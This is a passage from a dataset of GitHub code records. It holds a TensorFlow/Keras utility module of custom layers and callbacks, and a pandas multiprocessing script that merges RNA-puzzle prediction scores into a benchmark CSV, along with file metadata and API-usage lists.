"call"}]}
{"seq_id": "38382253446", "text": "import tensorflow as tf\nfrom tensorflow import keras\nimport random_manager as r\nimport numpy as np\nimport utils.data_utils as data\nimport utils.data_type_utils as data_type\nimport utils.file_utils as file\nimport constants as C\n\n\ndef create_variable(shape,name='var',dev=0.01,rgen=None):\n\n    seed = None\n    if rgen is not None:\n        seed = r.random_seed_from(rgen)\n    return tf.Variable(\n        tf.random_normal(shape, stddev=dev, seed = seed),\n        name=name,dtype=tf.float32)\n\ndef create_variable_with_value(value,name='var'):\n    return tf.Variable(\n        value, name=name,dtype=tf.float32)\n\ndef dense_layer(input,size,rgen,activation=None,wdev=0.01,bdev=0.01):\n\n    w = create_variable(\n        [input.shape.as_list()[1],size],name='w',dev=wdev,\n        rgen=r.bind_generator_from(rgen))\n    b = create_variable(\n        [size],name='b',dev=bdev,\n        rgen=r.bind_generator_from(rgen))\n\n    layer = tf.add(tf.matmul(input, w), b)\n\n    if activation is not None:\n        layer = activation(layer)\n\n    return layer\n\n\ndef make_batch_generator(input,labels=None,batch_size=32, rgen=None):\n    data_len = input.shape[0]\n    indices = np.arange(data_len)\n    if rgen is not None:\n        r.shuffle_from(rgen,indices)\n\n    num_batches = data_len // batch_size\n\n    def batch_generator():\n        for i in range(num_batches):\n            samples = indices[i*batch_size:(i+1)*batch_size]\n            if labels is None:\n                yield input[samples]\n            else:\n                yield input[samples],labels[samples]\n\n    return batch_generator(),num_batches\n\n\n#############################################################\n# Custom layers\n#############################################################\n\nclass SinLayer(keras.layers.Layer):\n\n    def __init__(self,seed,minf,maxf, **kwargs):\n        self.seed = seed\n        self.minf = minf\n        self.maxf = maxf\n        self.rgen = r.make_generator(seed)\n        super(SinLayer, self).__init__(**kwargs)\n\n    def build(self, input_shape):\n\n        rseed = lambda : r.random_seed_from(self.rgen)\n\n        bias_initializer = keras.initializers.RandomUniform(\n            minval=-np.pi, maxval=np.pi, seed=rseed())\n        scale_initializer = keras.initializers.RandomUniform(\n            minval=self.minf, maxval=self.maxf, seed=rseed())\n\n        # Create a trainable weight variable for this layer.\n        self.bias = self.add_weight(\n            name='bias',\n            shape=(input_shape[1],),\n            initializer=bias_initializer,\n            trainable=True)\n        self.scale = self.add_weight(\n            name='scale',\n            shape=(input_shape[1],),\n            initializer=scale_initializer,\n            trainable=True)\n        super(SinLayer, self).build(input_shape)\n\n    def call(self, x):\n        return keras.backend.sin( self.scale * np.pi * x - self.bias)\n\n    def compute_output_shape(self, input_shape):\n        return input_shape\n\n    def get_config(self):\n\n        my_config = {\n            'seed' : self.seed,\n            'minf'  : self.minf,\n            'maxf'  : self.maxf\n        }\n        base_config = super(SinLayer, self).get_config()\n        my_config.update(base_config)\n        return my_config\n\n\nclass XYCombinations(keras.layers.Layer):\n\n    def __init__(self,seed_bias,seed_scale, **kwargs):\n        self.seed_bias = seed_bias\n        self.seed_scale = seed_scale\n        super(XYCombinations, self).__init__(**kwargs)\n\n    def build(self, input_shape):\n        bias_initializer = keras.initializers.RandomUniform(\n            minval=-1, maxval=1, seed=self.seed_bias)\n        scale_initializer = keras.initializers.RandomUniform(\n            minval=-1, maxval=1, seed=self.seed_scale)\n\n        # Create a trainable weight variable for this layer.\n        self.bias = self.add_weight(\n            name='bias',\n            shape=(4,),\n            initializer=bias_initializer,\n            trainable=True)\n        self.scale = self.add_weight(\n            name='scale',\n            shape=(4,),\n            initializer=scale_initializer,\n            trainable=True)\n        super(XYCombinations, self).build(input_shape)\n\n    def call(self, x):\n        xx = tf.gather(x,[0],axis=1)\n        yy = tf.gather(x,[1],axis=1)\n        combinations = tf.concat([\n            xx*yy,\n            xx**2,\n            yy**2,\n            yy**2 * xx**2,\n        ], axis = 1)\n        return self.scale*combinations - self.bias\n\n    def compute_output_shape(self, input_shape):\n        return (input_shape[0],4)\n\n    def get_config(self):\n\n        my_config = {\n            'seed_scale' : self.seed_scale,\n            'seed_bias'  : self.seed_bias\n        }\n        base_config = super(XYCombinations, self).get_config()\n        my_config.update(base_config)\n        return my_config\n\n\n\nclass SparseConnections(keras.layers.Layer):\n\n    def __init__(self,seed,output_size,divisions,shuffle, **kwargs):\n        self.seed = seed\n        self.shuffle = shuffle\n        self.rgen = r.make_generator(seed)\n        self.output_size = output_size\n        self.divisions = divisions\n\n        super(SparseConnections, self).__init__(**kwargs)\n\n    def build(self, input_shape):\n\n        if self.shuffle is True:\n            input_ranges = r.permutation_from(self.rgen,input_shape[1])\n        else:\n            input_ranges = np.arange(input_shape[1])\n\n        self.input_ranges = [\n            input_ranges[i::self.divisions]\n            for i in range(self.divisions)\n        ]\n\n        output_ranges = np.arange(self.output_size)\n        self.output_ranges = [\n            output_ranges[i::self.divisions]\n            for i in range(self.divisions)\n        ]\n\n        # print('input')\n        # for i in self.input_ranges:\n        #     print(i)\n        #\n        # print('output')\n        # for i in self.output_ranges:\n        #     print(i)\n\n\n        rseed = lambda : r.random_seed_from(self.rgen)\n\n        self.biases = []\n        self.kernels = []\n\n        for i in range(len(self.input_ranges)):\n\n            isize = self.input_ranges[i].size\n            osize = self.output_ranges[i].size\n\n            bias_initializer = keras.initializers.glorot_uniform(rseed())\n            kernel_initializer = keras.initializers.glorot_uniform(rseed())\n\n            # Create a trainable weight variable for this layer.\n            self.biases.append(self.add_weight(\n                name='bias_' + str(i),\n                shape=(osize,),\n                initializer=bias_initializer,\n                trainable=True))\n            self.kernels.append(self.add_weight(\n                name='scale_' + str(i),\n                shape=(isize,osize),\n                initializer=kernel_initializer,\n                trainable=True))\n\n        super(SparseConnections, self).build(input_shape)\n\n    def call(self, x):\n\n        tensors = []\n\n        for i in range(len(self.input_ranges)):\n            irange = self.input_ranges[i]\n            orange = self.output_ranges[i]\n            bias = self.biases[i]\n            kernel = self.kernels[i]\n\n            xx = tf.gather(x,irange,axis=1)\n\n            output = keras.backend.dot(xx, kernel)\n            output = keras.backend.bias_add(output, bias, data_format='channels_last')\n\n            # output = keras.activations.tanh(output)\n            # output = custom_tanh(output)\n\n            tensors.append(output)\n\n        return tf.concat(tensors,axis=1)\n\n    def compute_output_shape(self, input_shape):\n        return (input_shape[0],self.output_size)\n\n    def get_config(self):\n\n        my_config = {\n            'seed' : self.seed,\n            'output_size'  : self.output_size,\n            'divisions' : self.divisions,\n            'shuffle' : self.shuffle\n        }\n        base_config = super(SparseConnections, self).get_config()\n        my_config.update(base_config)\n        return my_config\n\n\n\nclass CombinatoryMultiplication(keras.layers.Layer):\n\n    def __init__(self,n, **kwargs):\n\n        self.n = n\n        yy,xx = np.meshgrid(np.arange(n),np.arange(n))\n        tril_indices = np.tril_indices(n=n,k=-1)\n        self.yy_indices = yy[tril_indices].flatten()\n        self.xx_indices = xx[tril_indices].flatten()\n\n        super(CombinatoryMultiplication, self).__init__(**kwargs)\n\n    def build(self, input_shape):\n        super(CombinatoryMultiplication, self).build(input_shape)\n\n    def call(self, x):\n        return tf.multiply(\n            tf.gather(x,self.xx_indices,axis=1),\n            tf.gather(x,self.yy_indices,axis=1),\n        )\n\n    def compute_output_shape(self, input_shape):\n        return (input_shape[0],self.xx_indices.shape[0])\n\n    def get_config(self):\n\n        my_config = {\n            'n' : self.n,\n        }\n        base_config = super(CombinatoryMultiplication, self).get_config()\n        my_config.update(base_config)\n        return my_config\n\ndef custom_tanh(x):\n    # return 0.5 * keras.backend.tanh(2*x)*keras.backend.log(2*keras.backend.abs(x)+4)\n    return 0.5*keras.backend.tanh(x)*keras.backend.log(keras.backend.abs(x)+10)\n\n\nclass GraphicTanh(keras.layers.Layer):\n\n    def __init__(self,seed, **kwargs):\n        self.rgen = r.make_generator(seed)\n        self.seed = seed\n        super(GraphicTanh, self).__init__(**kwargs)\n\n    def build(self, input_shape):\n\n        rseed = lambda : r.random_seed_from(self.rgen)\n\n        d_initializer = keras.initializers.RandomUniform(\n            minval=0.5, maxval=2, seed=rseed())\n        b_initializer = keras.initializers.RandomUniform(\n            minval=0.5, maxval=3.5, seed=rseed())\n\n        self.d = self.add_weight(\n            name='d',\n            shape=(1,),\n            initializer=d_initializer,\n            trainable=True)\n        self.b = self.add_weight(\n            name='b',\n            shape=(1,),\n            initializer=b_initializer,\n            constraint=keras.constraints.MinMaxNorm(\n                min_value=2, max_value=2),\n            trainable=True)\n\n        super(GraphicTanh, self).build(input_shape)\n\n    def call(self, x):\n        return self.d*(1 - 2 / (keras.backend.exp(self.b*x) + 1))\n        # return keras.backend.tanh(x)*(1+0.01*keras.backend.relu(keras.backend.abs(x))**2)\n        # return keras.backend.tanh(x)*keras.backend.log(\n        #     keras.backend.abs(x)+10)\n\n\n    def compute_output_shape(self, input_shape):\n        return input_shape\n\n    def get_config(self):\n\n        my_config = {\n            'seed' : self.seed,\n        }\n        base_config = super(GraphicTanh, self).get_config()\n        my_config.update(base_config)\n        return my_config\n\n#############################################################\n# Custom callbacks\n#############################################################\n\nclass SaveIntermediaryOutput(keras.callbacks.Callback):\n\n    def __init__(self, f, image_height, image_width):\n        self.f = f\n        self.image_height = image_height\n        self.image_width = image_width\n        super(SaveIntermediaryOutput, self).__init__()\n\n    def on_batch_end(self, epoch, logs={}):\n        image = self.model.predict(self.f)\n        image = 255*data.normalize_01(image.reshape(self.image_height, self.image_width))\n        file.export_image(\n            '%d' % (epoch), image.astype('uint8'),format='jpg')\n\n\nclass LogGradients(keras.callbacks.Callback):\n\n    def __init__(self,logdir,data_generator,log_epoch=False):\n        self.data_generator = data_generator\n        self.file_writer = tf.summary.create_file_writer(logdir)\n        self.inputs = self.data_generator.inputs()\n        self.outputs = self.data_generator.outputs()\n        self.log_epoch = log_epoch\n        self.batch_num = 0\n        super(LogGradients, self).__init__()\n\n\n    def set_model(self, model):\n        self.model = model\n        self.weights = self.model.trainable_weights\n        self.grads = self.model.optimizer.get_gradients(\n            self.model.total_loss, self.model.trainable_weights)\n        self.f = keras.backend.function(\n            [self.model._feed_inputs,self.model._feed_targets], self.grads)\n\n\n    def on_batch_begin(self,batch,logs={}):\n        x,y = self.data_generator[batch]\n        output_grad = self.f([x,y])\n\n        with self.file_writer.as_default():\n            for w,g in zip(self.weights,output_grad):\n                if np.isnan(np.sum(g)):\n                    print(\"FOUND A NAN IN GRADIENTS:BATCH\",batch,w.name)\n                tf.summary.histogram(\n                    w.name+\"_batch_grad\",g,step=self.batch_num)\n\n        self.batch_num += 1\n\n    def on_epoch_end(self,epoch,logs={}):\n        if self.log_epoch is True:\n            output_grad = self.f([self.inputs,self.outputs])\n\n            with self.file_writer.as_default():\n                for w,g in zip(self.weights,output_grad):\n                    tf.summary.histogram(\n                        w.name+\"_grad\", g,step=epoch)\n\n\n\nclass MonitorWeights(keras.callbacks.Callback):\n\n    def __init__(self,logdir,layernames,weight_index,data_generator):\n        self.step = 0\n        self.layernames = data_type.listify(layernames)\n        self.weight_index = weight_index\n        self.file_writer = tf.summary.create_file_writer(logdir)\n        self.data_generator = data_generator\n        super(MonitorWeights, self).__init__()\n\n\n    def set_model(self, model):\n        self.model = model\n        self.weights = [ self.model.get_layer(layername).trainable_weights\n             for layername in self.layernames\n         ]\n\n    def on_batch_end(self,batch,logs={}):\n        self.step += 1\n\n        # with self.file_writer.as_default():\n        #     tf.summary.histogram(\n        #             self.layername + \"_monitor\", self.weights,step=self.step)\n        print()\n        print('NEW BATCH',batch)\n\n        # if self.data_generator is not None:\n        #     print( self.data_generator[batch])\n\n        if self.data_generator is not None:\n            print()\n\n        for i,j in zip(self.layernames,self.weights):\n            for k in j:\n                print(i,np.max(k.numpy()),np.min(k.numpy()))\n\n\nclass SaveIntermediaryNNet(keras.callbacks.Callback):\n\n    def __init__(self,rgen,prefix=''):\n        self.path = file.generate_nnet_path(rgen,prefix)\n        super(SaveIntermediaryNNet, self).__init__()\n\n    def set_model(self, model):\n        self.model = model\n\n    def on_epoch_end(self,epoch,logs={}):\n        self.model.save(self.path)\n\n\n#############################################################\n# Custom callbacks\n#############################################################\n\nclass ImageDataGenerator(keras.utils.Sequence):\n\n    def __init__(self, x, y, batch_size, rgen = None, shuffle = False):\n        self.x, self.y = x, y\n        self.batch_size = batch_size\n        self.shuffle = shuffle\n        self.rgen = rgen\n        if self.shuffle is True:\n            self.shuffled = r.permutation_from(\n                self.rgen,self.x.shape[0]).astype('int32')\n        else:\n            self.shuffled = np.arange(self.x.shape[0])\n\n        self.reshuffled_x = self.x[self.shuffled]\n        self.reshuffled_y = self.y[0][self.shuffled]\n\n    def inputs(self):\n        return self.x\n\n    def outputs(self):\n        return self.y\n\n    def __len__(self):\n        return int(self.x.shape[0] // self.batch_size)\n\n    def generate_shuffled_data(self):\n        if self.shuffle is True:\n            self.shuffled = r.permutation_from(\n                self.rgen,self.x.shape[0]).astype('int32')\n\n        return self.x[self.shuffled],self.y[0][self.shuffled]\n\n    def __getitem__(self, idx):\n\n        batch_x = self.reshuffled_x[idx * self.batch_size:(idx + 1) * self.batch_size]\n        batch_y = self.reshuffled_y[idx * self.batch_size:(idx + 1) * self.batch_size]\n\n        return batch_x,batch_y\n\n    def on_epoch_end(self):\n        if self.shuffle is True:\n            self.shuffled = r.permutation_from(\n                self.rgen,self.x.shape[0]).astype('int32')\n\n            self.reshuffled_x = self.x[self.shuffled]\n            self.reshuffled_y = self.y[0][self.shuffled]\n", "repo_name": "mihail-luchian/sophias_tulip", "sub_path": "src/utils/nn_utils.py", "file_name": "nn_utils.py", "file_ext": "py", "file_size_in_byte": 15934, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "random_manager.random_seed_from", "line_number": 15, "usage_type": "call"}, {"api_name": "tensorflow.Variable", "line_number": 16, "usage_type": "call"}, {"api_name": "tensorflow.random_normal", "line_number": 17, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 18, "usage_type": "attribute"}, {"api_name": "tensorflow.Variable", "line_number": 21, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 22, "usage_type": "attribute"}, {"api_name": "random_manager.bind_generator_from", "line_number": 28, "usage_type": "call"}, {"api_name": "random_manager.bind_generator_from", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.add", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.matmul", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 43, "usage_type": "call"}, {"api_name": "random_manager.shuffle_from", "line_number": 45, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 64, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 64, "usage_type": "name"}, {"api_name": "random_manager.make_generator", "line_number": 70, "usage_type": "call"}, {"api_name": "random_manager.random_seed_from", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers.RandomUniform", "line_number": 77, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers", "line_number": 77, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 77, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 78, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.initializers.RandomUniform", "line_number": 79, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers", "line_number": 79, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 79, "usage_type": "name"}, {"api_name": "tensorflow.keras.backend.sin", "line_number": 96, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend", "line_number": 96, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 96, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 96, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers", "line_number": 113, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 113, "usage_type": "name"}, {"api_name": "tensorflow.keras.initializers.RandomUniform", "line_number": 121, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers", "line_number": 121, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 121, "usage_type": "name"}, {"api_name": "tensorflow.keras.initializers.RandomUniform", "line_number": 123, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers", "line_number": 123, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 123, "usage_type": "name"}, {"api_name": "tensorflow.gather", "line_number": 140, "usage_type": "call"}, {"api_name": "tensorflow.gather", "line_number": 141, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 142, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 165, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 165, "usage_type": "name"}, {"api_name": "random_manager.make_generator", "line_number": 170, "usage_type": "call"}, {"api_name": "random_manager.permutation_from", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 188, "usage_type": "call"}, {"api_name": "random_manager.random_seed_from", "line_number": 203, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers.glorot_uniform", "line_number": 213, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers", "line_number": 213, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 213, "usage_type": "name"}, {"api_name": "tensorflow.keras.initializers.glorot_uniform", "line_number": 214, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers", "line_number": 214, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 214, "usage_type": "name"}, {"api_name": "tensorflow.gather", "line_number": 240, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend.dot", "line_number": 242, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend", "line_number": 242, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 242, "usage_type": "name"}, {"api_name": "tensorflow.keras.backend.bias_add", "line_number": 243, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend", "line_number": 243, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 243, "usage_type": "name"}, {"api_name": "tensorflow.concat", "line_number": 250, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 269, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 269, "usage_type": "name"}, {"api_name": "numpy.meshgrid", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.tril_indices", "line_number": 275, "usage_type": "call"}, {"api_name": "tensorflow.multiply", "line_number": 285, "usage_type": "call"}, {"api_name": "tensorflow.gather", "line_number": 286, "usage_type": "call"}, {"api_name": "tensorflow.gather", "line_number": 287, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend.tanh", "line_number": 304, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend", "line_number": 304, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 304, "usage_type": "name"}, {"api_name": "tensorflow.keras.backend.log", "line_number": 304, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend.abs", "line_number": 304, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers", "line_number": 307, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 307, "usage_type": "name"}, {"api_name": "random_manager.make_generator", "line_number": 310, "usage_type": "call"}, {"api_name": "random_manager.random_seed_from", "line_number": 316, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers.RandomUniform", "line_number": 318, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers", "line_number": 318, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 318, "usage_type": "name"}, {"api_name": "tensorflow.keras.initializers.RandomUniform", "line_number": 320, "usage_type": "call"}, {"api_name": "tensorflow.keras.initializers", "line_number": 320, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 320, "usage_type": "name"}, {"api_name": "tensorflow.keras.constraints.MinMaxNorm", "line_number": 332, "usage_type": "call"}, {"api_name": "tensorflow.keras.constraints", "line_number": 332, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 332, "usage_type": "name"}, {"api_name": "tensorflow.keras.backend.exp", "line_number": 339, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend", "line_number": 339, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 339, "usage_type": "name"}, {"api_name": "tensorflow.keras.callbacks", "line_number": 361, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 361, "usage_type": "name"}, {"api_name": "utils.data_utils.normalize_01", "line_number": 371, "usage_type": "call"}, {"api_name": "utils.data_utils", "line_number": 371, "usage_type": "name"}, {"api_name": "utils.file_utils.export_image", "line_number": 372, "usage_type": "call"}, {"api_name": "utils.file_utils", "line_number": 372, "usage_type": "name"}, {"api_name": "tensorflow.keras.callbacks", "line_number": 376, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 376, "usage_type": "name"}, {"api_name": "tensorflow.summary.create_file_writer", "line_number": 380, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 380, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.backend.function", "line_number": 393, "usage_type": "call"}, {"api_name": "tensorflow.keras.backend", "line_number": 393, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 393, "usage_type": "name"}, {"api_name": "numpy.isnan", "line_number": 403, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 403, "usage_type": "call"}, {"api_name": "tensorflow.summary.histogram", "line_number": 405, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 405, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.histogram", "line_number": 416, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 416, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.callbacks", "line_number": 421, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 421, "usage_type": "name"}, {"api_name": "utils.data_type_utils.listify", "line_number": 425, "usage_type": "call"}, {"api_name": "utils.data_type_utils", "line_number": 425, "usage_type": "name"}, {"api_name": "tensorflow.summary.create_file_writer", "line_number": 427, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 427, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 455, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 455, "usage_type": "call"}, {"api_name": "tensorflow.keras.callbacks", "line_number": 458, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 458, "usage_type": "name"}, {"api_name": "utils.file_utils.generate_nnet_path", "line_number": 461, "usage_type": "call"}, {"api_name": "utils.file_utils", "line_number": 461, "usage_type": "name"}, {"api_name": "tensorflow.keras.utils", "line_number": 475, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 475, "usage_type": "name"}, {"api_name": "random_manager.permutation_from", "line_number": 483, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 486, "usage_type": "call"}, {"api_name": "random_manager.permutation_from", "line_number": 502, "usage_type": "call"}, {"api_name": "random_manager.permutation_from", "line_number": 516, "usage_type": "call"}]}
{"seq_id": "24824648067", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 19 06:27:59 2022\n\n@author: hyc\n\"\"\"\n\n#应该扫描各个puzzle的csv文件，与benchmark1.csv作比较\n#复合（多条件）筛选出对应puzzle_number、tag的某一行，然后将该行的ares换成比如\n#new_rna_puzzle_10.csv里的pred\n\n\"\"\"\nimport pandas as pd\nimport os\n\nfile_path=\"/fsa/home/ww_duyy/hyc/data/Townshend/augmented_puzzles/decoys/pred_output\"\nfile_arr = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\", \"13\", \n            \"14b\", \"14f\", \"15\", \"17\", \"18\", \"19\", \"20\", \"21\"]\nnatives=\"new_rna_puzzle_natives.csv\" #特殊情况，单独处理\npuzzle_number=file_arr.copy()\nfile_num=len(file_arr)\nfor i in range(file_num):\n    file_arr[i] = \"new_rna_puzzle_\" + file_arr[i] +\".csv\" \n\ndf_b1=pd.read_csv(\"/fsa/home/ww_duyy/hyc/data/notebooks/benchmark1/benchmark1.csv\")\n\nfor i in range(file_num):\n    df_t=pd.read_csv(os.path.join(file_path, file_arr[i]))\n    for index,row in df_t.iterrows():\n        tag=str(row['id'])[:-4]   #去掉.pdb后缀\n        df_b1[(df_b1['tag'] == tag) & (df_b1['puzzle_number']==puzzle_number[i])]['ares'] = row['pred']\ndf_t=pd.read_csv(os.path.join(file_path, natives))\nfor index,row in df_t.iterrows():\n    tag=str(row['id'])[:-4]   #去掉.pdb后缀\n    df_b1[(df_b1['tag'] == tag) & (df_b1['source']== \"native\")]['ares'] = row['pred']\n\n\ndf_b1.to_csv(os.path.join(file_path, \"new_benchmark1.csv\"))\n\"\"\"\n\n#改进版\n#换一种思路，先将benchmark1.csv按puzzle_number分组，然后对应组的puzzle文件仅需比较tag\n#并引入多进程，效率会提高不少\n\nimport pandas as pd\nimport os\nimport multiprocessing as mp\nfrom multiprocessing import Manager, Lock\n\nfile_path=\"/fsa/home/ww_duyy/hyc/data/Townshend/augmented_puzzles/decoys/pred_output\"\nnatives=\"new_rna_puzzle_natives.csv\" #特殊情况，单独处理\n\ndf_b1=pd.read_csv(\"/fsa/home/ww_duyy/hyc/data/notebooks/benchmark1/benchmark1.csv\" , dtype={'puzzle_number': object})\n\nnew_df_b1 = pd.DataFrame()\n\nmgr = Manager()\nns = mgr.Namespace()\nns.df = new_df_b1\n\ndef decoys(ns, puzzle_number, group, lock):\n    df_t=pd.read_csv(os.path.join(file_path, \"new_rna_puzzle_\" + str(puzzle_number) +\".csv\"))\n    for index,row in df_t.iterrows():\n        tag=str(row['id'])[:-4]   #去掉.pdb后缀\n        # if index % 1000 == 0:\n        #     print(tag)\n        #     print(group.loc[group['tag'] == tag), 'ares'])\n        group.loc[(group['tag'] == tag) , 'ares'] = row['pred']\n    #对于共享变量ns.df进行写操作时需加锁\n    with lock:\n        ns.df= pd.concat([ns.df, group])  \n    #最后的new_df_b1没有decoys的部分，找不出bug在哪里\n    # 会不会是多进程的原因，查了一下说是：\n    #主进程与子进程是并发执行的，进程之间默认是不能共享全局变量的(子进程不能改变主进程中全局变量的值)。\n    #建议查一下python如何在多进程间共享pandas.DataFrame\n    #https://stackoverflow.com/questions/22487296/multiprocessing-in-python-sharing-large-object-e-g-pandas-dataframe-between\n    #实在不行可以用一个列表存储各个group，最后再concat起来，但只是个无奈的解决方法\n#FutureWarning: The frame.append method is deprecated and will be removed from \n#pandas in a future version. Use pandas.concat instead.\n\nprocess_list=[]\nlock=Lock()\nfor puzzle_number, group in df_b1.groupby('puzzle_number'):\n    p = mp.Process(target=decoys, args=(ns, puzzle_number, group, lock,))\n    p.start()\n    process_list.append(p)\nfor p in process_list:\n    p.join()\n\nnew_df_b1 = ns.df\nnew_df_b1.drop(new_df_b1[new_df_b1['source'] == 'native'].index, inplace=True)\n\nfor source, group in df_b1.groupby('source'):\n    #这里不再需要global声明否则报错（因为这里作用域与其定义同级）：\n    #SyntaxError: name 'new_df_b1' is assigned to before global declaration\n    if str(source) == 'native':\n        # print(\"native!!!\")\n        df_t=pd.read_csv(os.path.join(file_path, natives))\n        for index,row in df_t.iterrows():\n            tag=str(row['id'])[:-4]   #去掉.pdb后缀\n            group.loc[group['tag'] == tag, 'ares'] = row['pred']\n        new_df_b1= pd.concat([new_df_b1, group])\n    else:\n        continue\n\nnew_df_b1.to_csv(os.path.join(file_path, \"new_benchmark1.csv\"),index=False)\n\n\n\n#test\n#结论：修改groupby的group的值不会影响原DataFrame\n\"\"\"\nimport numpy as np\nimport pandas as pd\n\ndf = pd.DataFrame({'str':['a', 'a', 'b', 'b', 'a'],\n'no':['one', 'two', 'one', 'two', 'one'],\n'data1':np.random.randn(5),\n'data2':np.random.randn(5)})\nprint(df)\n\nfor no, group in df.groupby('no'):\n    print(no,\"\\n\",group)\n    print(group.loc[(group['str']=='a'),'data1'])\n    group.loc[(group['str']=='a'),'data1']=666\n    print(group)\nprint(df)\n\"\"\"\n#output:\n\"\"\"\nstr   no     data1     data2\n0   a  one  0.778860 -1.978310\n1   a  two  0.902356  1.545739\n2   b  one -1.045822  1.206926\n3   b  two  0.727399  0.391220\n4   a  one  0.509008 -0.874452\none \n   str   no     data1     data2\n0   a  one  0.778860 -1.978310\n2   b  one -1.045822  1.206926\n4   a  one  0.509008 -0.874452\n0    0.778860\n4    0.509008\nName: data1, dtype: float64\n  str   no       data1     data2\n0   a  one  666.000000 -1.978310\n2   b  one   -1.045822  1.206926\n4   a  one  666.000000 -0.874452\ntwo \n   str   no     data1     data2\n1   a  two  0.902356  1.545739\n3   b  two  0.727399  0.391220\n1    0.902356\nName: data1, dtype: float64\n  str   no       data1     data2\n1   a  two  666.000000  1.545739\n3   b  two    0.727399  0.391220\n  str   no     data1     data2\n0   a  one  0.778860 -1.978310\n1   a  two  0.902356  1.545739\n2   b  one -1.045822  1.206926\n3   b  two  0.727399  0.391220\n4   a  one  0.509008 -0.874452\n\"\"\"\n", "repo_name": "hycPEXM/ares_reproduction", "sub_path": "code/benchmark1_data.py", "file_name": "benchmark1_data.py", "file_ext": "py", "file_size_in_byte": 5691, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_csv", "line_number": 53, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 55, "usage_type": "call"}, {"api_name": "multiprocessing.Manager", "line_number": 57, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 71, "usage_type": "call"}, {"api_name": "multiprocessing.Lock", "line_number": 82, "usage_type": "call"}, 